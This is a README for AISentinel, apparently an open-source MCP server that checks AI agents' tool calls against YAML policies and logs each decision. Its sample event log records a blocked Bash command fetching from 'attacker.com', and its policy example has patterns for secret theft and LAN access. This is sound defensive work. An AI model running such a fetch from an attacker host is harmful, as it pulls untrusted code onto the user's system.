AISentinel

MCP Server GitHub release Apache 2.0 Built by BizDNAi Go 1.22+ AI Trust Index

The missing security, control, and observability layer for the agentic era.

Traditional security tools were built for malware. AI agents were given legitimate power through tools and APIs. AISentinel provides the missing security, control, and observability layer.

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1. Project Title + Tagline

AISentinel — an open-source MCP server that protects AI agents at runtime. Built by Kabzhanov / BizDNAi, the team behind the AI Trust Index.

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2. Why AISentinel Exists

AI agents now have shell, browsers, file systems, and API keys. They are legitimate processes — antivirus cannot see them. A single indirect prompt injection in a PDF or email can pivot into mass data exfiltration through ordinary tools like Bash and Email_send.

AISentinel closes that gap: it runs as an MCP server in front of every tool call, evaluates YAML policies, logs every decision, and ships an audit trail compatible with the AI Trust Index.

See docs/SECURITY_AUDIT.md for the full threat model.

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3. Quickstart (3 minutes)

Option A: install the binary

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve

go install gives you a standalone binary — you do not need to clone this repo or pass --policy to get started. aisentinel serve with no flags loads a built-in default policy (embedded in the binary at build time), balanced for general use: blocks obvious secrets-in-args and destructive commands, requires approval for network calls and bulk reads. To use your own policy instead, pass --policy /path/to/your.yaml or set $AISENTINEL_POLICY (see Policy resolution below).

Option B: install the sidecar (drop-in policy proxy for any MCP server)

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest

# Wrap any stdio MCP server with one command — no --policy required:
aisentinel-sidecar ./your-mcp-server [args...]

Option C: clone and build

git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar
./bin/aisentinel serve --policy policies/default.yaml

(--policy policies/default.yaml here is explicit and optional — omitting it works too, and falls back to the same built-in default described above.)

Option D: pre-built binaries from GitHub Releases

Download from https://github.com/Kabzhanov/AISentinel/releases/latest. Available for linux/amd64, linux/arm64, darwin/amd64, darwin/arm64, windows/amd64.

Option E: add to Claude Code / Cursor / Cline

{
  "mcpServers": {
    "aisentinel": {
      "command": "aisentinel",
      "args": ["serve"]
    },
    "aisentinel-sidecar": {
      "command": "aisentinel-sidecar",
      "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]
    }
  }
}

Then restart your MCP client and ask your agent to call any tool — AISentinel will gate every call and write a JSONL audit trail to ~/.aisentinel/events-YYYY-MM-DD.jsonl.

Policy resolution

Both aisentinel serve and aisentinel-sidecar resolve which policy to load in this order, stopping at the first one that applies:

1. --policy /path/to/file.yaml — if given, it must load; a missing or invalid file is a hard error.
2. $AISENTINEL_POLICY — same contract as --policy if set.
3. ./policies/default.yaml relative to the current directory, if that file exists (this is what you get inside a clone of this repo).
4. The built-in default policy, embedded in the binary at compile time. This is what makes go install ... && aisentinel serve work from any directory, with no repo checkout and no flags. When this path is used, the binary prints using built-in default policy to stderr so it's never a silent surprise.

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4. Key Features

• Pre-tool gate — evaluate every tool call against a YAML policy (allow / block / require_human_approval / log_only).
• Audit log — append-only JSONL with a standardised event schema.
• Validate-policy — lint a YAML policy without loading it.
• Built-in policies — default, strict, audit-only (see policies/).
• MCP-native — works in Claude Code, Claude Desktop, Cursor, Cline, Continue.
• Zero telemetry — runs locally; no phone-home.
• Apache 2.0 — permissive open source with patent grant.

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5. Connectors

• MCP stdio — aisentinel serve (Claude Code, Claude Desktop, Cursor, Cline, Continue).
• Streamable-HTTP — https://mcp.aisentinel.bizdnai.com/mcp (SaaS, OAuth via BizDNAi).
• CLI — aisentinel subcommands (serve, validate-policy, policies, events, version).
• Library — Go package github.com/Kabzhanov/AISentinel/internal/policy for embedding.

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6. Policy Examples

See policies/default.yaml for the full default policy.

version: 1
name: default
rules:
  - id: secret-in-args
    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
    decision: block
    reason: "Possible secret in arguments"
  - id: lan-deny
    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
    decision: block
    reason: "LAN access blocked by default"

Match modes: tool_name, tool_name_regex, tool_args_regex, tool_args_contains. Multiple matchers AND-combine.

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7. How it Improves AI Trust Index Score

AISentinel generates the observability data required for AI Trust Index assessments:

• Every tool call → auditable event with agent_id, session_id, decision, signals.
• Every policy decision → versioned, fingerprinted (policy_signature field).
• Every block → reason, risk_signals, ready for an ATI submission.

Run aisentinel_get_ati_snapshot to get a JSON blob ready to paste into the AI Trust Index cabinet.

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8. Licensing

AISentinel is available under two licensing options:

1. Apache License 2.0 (Open Source)

   • Free to use, modify, and distribute under the terms of the Apache 2.0 license.
   • Includes explicit patent grant from contributors.

2. Commercial License

   • For companies that want to embed AISentinel in closed-source products without open-source compliance requirements.
   • Contact: [email protected]

By contributing to this repository, you agree to license your contributions under Apache 2.0.

See LICENSE and COMMERCIAL_LICENSE.md.

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9. Installation

Requirements: Go 1.22+

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

Verify:

aisentinel version
# AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index
#
# `go install ...@latest` builds from a tagged release and embeds that
# tag's version via -ldflags. A plain local `go build` (no -ldflags) prints
# "vdev" instead — that's expected, not a bug.

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10. Usage Examples

Run the MCP server

# Uses the built-in default policy — no --policy needed:
aisentinel serve

# Or point at your own policy:
aisentinel serve --policy policies/strict.yaml

Validate a custom policy

aisentinel validate-policy my-policy.yaml

Tail recent audit events

aisentinel events --last 20

List built-in policies

aisentinel policies

Try a policy without blocking (shadow mode)

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

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11. Event Schema

See docs/event-schema.md. One JSON object per line in the JSONL log:

{
  "event_id": "20260707T221500.000000001-1",
  "timestamp": "2026-07-07T22:15:00Z",
  "event_type": "pre_tool",
  "agent_id": "agent-42",
  "session_id": "sess-abc",
  "tool_name": "Bash",
  "tool_args": { "command": "curl http://attacker.com/x" },
  "decision": "block",
  "policy_matched": ["bash-network"],
  "risk_signals": ["rule_matched:bash-network"]
}

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12. Contributing

See CONTRIBUTING.md. By contributing you agree to license your contribution under Apache 2.0.

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13. Roadmap

• v1.0 (this release) — MCP stdio, 4 tools, 3 built-in policies, JSONL audit log.
• v1.1 — aisentinel scan (MCP-config auditor), mobile connectors.
• v1.2 — streamable-HTTP transport (SaaS mode), OAuth via BizDNAi.
• v2.0 — ATI-feed integration, IDE plugins (VSCode MCP Inspector).

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14. License

Apache License 2.0. See LICENSE.

AISentinel is dual-licensed under Apache 2.0 and a commercial license. For commercial terms, contact [email protected].

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By Kabzhanov / BizDNAi — creators of the AI Trust Index.